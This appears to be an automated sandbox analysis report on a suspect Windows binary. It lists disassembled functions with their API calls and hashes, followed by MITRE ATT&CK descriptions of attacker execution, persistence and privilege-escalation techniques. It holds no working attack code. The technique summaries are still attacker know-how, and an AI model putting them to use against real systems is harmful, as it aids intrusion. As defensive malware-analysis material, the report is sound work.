Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 4cf5cf6fe49ee143d0d599bfb138c0b0964b30c325680acef2c6c2fde7afffb0
Instruction ID: c3dcaf475919555e51f5c2901d0d02a6a51d2516d0e976ba0a3db74791b70e91
Opcode Fuzzy Hash: 4cf5cf6fe49ee143d0d599bfb138c0b0964b30c325680acef2c6c2fde7afffb0
Instruction Fuzzy Hash: 3461AEB1C0421DAEDF11DFA8C884BFEBBB9AB49304F150149EB04A7356D77AD901DBA0

Function 008865F0 Relevance: 3.1, APIs: 2, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 0088676A
std::_Throw_Cpp_error.LIBCPMT ref: 0088677B

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: c6f328c619eb9443df9a8340870ce163c235139ab4af81fd7b0bbb2c8acf9dfa
Instruction ID: 43d32d1cc4642ff17f01c3de5afd8764008ae75cf723ec18284dd7162907c899
Opcode Fuzzy Hash: c6f328c619eb9443df9a8340870ce163c235139ab4af81fd7b0bbb2c8acf9dfa
Instruction Fuzzy Hash: A141F2B1E043458BCB20EF68D94536AB7A4FB84314F180329E8659B291EBB5A951CBD1

Function 007F8DFF Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(00000000,00000000,CF830579,?,007F8CE6,00000000,CF830579,0092A178,0000000C,007F8DA2,007ED07D,?), ref: 007F8E55
GetLastError.KERNEL32(?,007F8CE6,00000000,CF830579,0092A178,0000000C,007F8DA2,007ED07D,?), ref: 007F8E5F

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 5244492bcd3e3c7a876f8857b1bd385c028c8874fb3a228a791195a98db38f1d
Instruction ID: 0020fd5aef90a157d28c62b38ada3daae67d37cf7571f34dadc283c26931b409
Opcode Fuzzy Hash: 5244492bcd3e3c7a876f8857b1bd385c028c8874fb3a228a791195a98db38f1d
Instruction Fuzzy Hash: 74116B3361921C9AC7A56335AC4977E37494B82734F28065DFB188B3E2DFBC9C818263

Function 007F251C Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,007ED0C7,00000000,00000002,00000000,00000000,00000000,00000000,?,007F2656,00000000,00000000,007ED0C7,00000002,00000000), ref: 007F2558
GetLastError.KERNEL32(00000000,?,007F2656,00000000,00000000,007ED0C7,00000002,00000000,?,007F982E,00000000,00000000,00000000,00000002,007ED0C7,00000000), ref: 007F2565

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: a241268663ca58f62bb49685dbd681862ca12f4458d480113053eb1f3a25e322
Instruction ID: 4b341aebcbe2dae7a4c15850a41163b813d2c331ccbe1bc89ecfc55126ef91de
Opcode Fuzzy Hash: a241268663ca58f62bb49685dbd681862ca12f4458d480113053eb1f3a25e322
Instruction Fuzzy Hash: A801263261420DAFCF05CF69DC258AE7B69EB85330F340248F9119B3A1EA75ED52DB90

Function 007FB01A Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00801B48,?,00000000,?,?,00801DE9,?,00000007,?,?,008022DD,?,?), ref: 007FB030
GetLastError.KERNEL32(?,?,00801B48,?,00000000,?,?,00801DE9,?,00000007,?,?,008022DD,?,?), ref: 007FB03B

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 9bc6d12d27467922274079cebdb20c41c1d0e59fbdf20b8a52f9694265d90e37
Instruction ID: 4e3ceacd1cc6f961dfb2b4f26b093894497c796272894bc80ca5e2f38d64dd02
Opcode Fuzzy Hash: 9bc6d12d27467922274079cebdb20c41c1d0e59fbdf20b8a52f9694265d90e37
Instruction Fuzzy Hash: 1CE08632114208EBCB113FA4EC0CBA63B69AF00751F448024F71CD6260DF388850DB84

Function 00877EF0 Relevance: 1.9, APIs: 1, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 863850d4275b9a1ddd5101ae7ad2d81791fe6688f8b0c0e411a841df8e11e572
Instruction ID: 5a15878252e402e1e074f87d4583bd23432954d4fc6393bce0e7b710bfe25a86
Opcode Fuzzy Hash: 863850d4275b9a1ddd5101ae7ad2d81791fe6688f8b0c0e411a841df8e11e572
Instruction Fuzzy Hash: A502B270D09248DEDF14DFA8C9497DDBBB0EB14304F14819DD409AB286DBB95E88DFA2

Function 007C5350 Relevance: 1.7, APIs: 1, Instructions: 184COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 007C546E

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 2eaa2bfc2622e14fc48cea0315f5df10b4aaca7b1b458e85369685c5ff2eb0d1
Instruction ID: c12733a24e77ce27be1ba87029fa664a70e3501a434848107603931602c35aa3
Opcode Fuzzy Hash: 2eaa2bfc2622e14fc48cea0315f5df10b4aaca7b1b458e85369685c5ff2eb0d1
Instruction Fuzzy Hash: 37619AB1A01654DFCB10CF59C984B9ABBF5FF48710F24816EE4199B391C7BAEA41CB90

Function 007E8E02 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a0ec81f5006af8368e05050665058e87943cc6481968f0275d0a85dcde926e8
Instruction ID: 49f508080156bfd06f30209774bb4b2c56d85e4a3244533ecd1be860276f9fc8
Opcode Fuzzy Hash: 9a0ec81f5006af8368e05050665058e87943cc6481968f0275d0a85dcde926e8
Instruction Fuzzy Hash: 2851E470A01248EFDB54CF59CC85AA97BB2EF4D324F248158F81C9B252DB75DE41CB92

Function 007D9E20 Relevance: 1.6, APIs: 1, Instructions: 131COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 007D9F7B

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 1547e44790066857b2a0b2477e8b105ffb97b40ab815e103f999b1750470aed3
Instruction ID: c72347f06225c679258ae2fe78223e40a5b9980f383279bc86b86a68c5e01821
Opcode Fuzzy Hash: 1547e44790066857b2a0b2477e8b105ffb97b40ab815e103f999b1750470aed3
Instruction Fuzzy Hash: 2941C572E00115DFCB14DF69C9459AEBBB9EB89310F24422AF915E7385D778DE018BE0

Function 00897640 Relevance: 1.6, APIs: 1, Instructions: 125COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 008977AC

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 51b5d714b4ab47654a491107008c113098d999fa27a88f725bc6de6cd99944ff
Instruction ID: e3ca1d68d2ec27b9beaeb64bd4b922c6a034a355d65d99b4f51fe53f3e470a44
Opcode Fuzzy Hash: 51b5d714b4ab47654a491107008c113098d999fa27a88f725bc6de6cd99944ff
Instruction Fuzzy Hash: 00515CB0D04349DBDB20DF98C986BAEBBB0FF48710F14412DE841AB381E7755A44CBA2

Function 008974C0 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00897609

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 8d8ee1abeea9057af387b3f10df828065558ee48f4ddb6242754731890df726c
Instruction ID: 208b64b507e6a8b47874bf2e225976e84d9d61f11dcda1862bd86174fba4e390
Opcode Fuzzy Hash: 8d8ee1abeea9057af387b3f10df828065558ee48f4ddb6242754731890df726c
Instruction Fuzzy Hash: 98414AB0D04248EBDB10DF99D986BEEBBB4FF48704F14416DE811AB382D7799901CBA5

Function 007B6870 Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_open@12.LIBCPMT ref: 007B6908

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: ___std_fs_directory_iterator_open@12
String ID:
API String ID: 29801545-0
Opcode ID: 77294dbf08edf8a0f539724c6eaf75d735893d09b3d0a648c8275ae284038ec7
Instruction ID: 388082b293cd71ac996474ad24bca574e7cd7c2b14df47dd149f0697700cc1cc
Opcode Fuzzy Hash: 77294dbf08edf8a0f539724c6eaf75d735893d09b3d0a648c8275ae284038ec7
Instruction Fuzzy Hash: B5215E76E00619EBCB18DF49D855BEAB7B4FB84725F00066EE91963780DB396D04CBD0

Function 00895D00 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

SetupDiGetClassDevsA.SETUPAPI(0090D560,00000000,00000000), ref: 00895D47

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: ClassDevsSetup
String ID:
API String ID: 2330331845-0
Opcode ID: 4afee4ee2ff21ceef2c244ee253614d3150346418cfaa526cc04a5ab17d2b244
Instruction ID: ba229e947f8a9509a8135d16ba5ec8da4e5520a4c76ca0d0e707e4869a7e9065
Opcode Fuzzy Hash: 4afee4ee2ff21ceef2c244ee253614d3150346418cfaa526cc04a5ab17d2b244
Instruction Fuzzy Hash: 3D110EB0D04B049BD7209F28D906757BBF4FB00B28F10472DE850573C1E3B56A4487D2

Function 007B32D0 Relevance: 1.5, APIs: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 007B331F

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 6b439644f511b7bf5bd0b924e2b63d29697b7510f9c6a7035d7f710025fe36b7
Instruction ID: 23c995aa3915436674ad8dd11585d150a79b83d56b1bdc5310a6ce7fbb4decd4
Opcode Fuzzy Hash: 6b439644f511b7bf5bd0b924e2b63d29697b7510f9c6a7035d7f710025fe36b7
Instruction Fuzzy Hash: EFF0B4721011049BDB146F74D819AEAB3E8DF28362750097AE88DC7212EF2EDA818790

Function 007B6840 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 007B6853

Part of subcall function 007E1F7B: FindNextFileW.KERNELBASE(?,?,?,007B6858,?,?,?,?,007B691A,?,?,?,00000000,?,?), ref: 007E1F84

Memory Dump Source

Source File: 00000005.00000002.2079254424.00000000007B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000005.00000002.2079228384.00000000007B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079411926.000000000090D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079450882.0000000000935000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079475993.000000000093A000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EA5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000ED7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2079948008.0000000000EE5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7b0000_NRN3O_fFwiqNbjNW0Hj0MSKB.jbxd

Similarity

API ID: FileFindNext___std_fs_directory_iterator_advance@8
String ID:
API String ID: 3878998205-0
Opcode ID: 0b9b7a2be4556d67719362d67afe6131e98dc99b1db50658bd5de953d38406f0
Instruction ID: 68de0613cd490326293302e075abec9e1e1c41f38bd09c059855bfe95f4ce230
Opcode Fuzzy Hash: 0b9b7a2be4556d67719362d67afe6131e98dc99b1db50658bd5de953d38406f0
Instruction Fuzzy Hash: ADD0C931B05A20511E26652B3919BFF47994DDABB8B85006ABA49D3246EE1C8C0741E6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

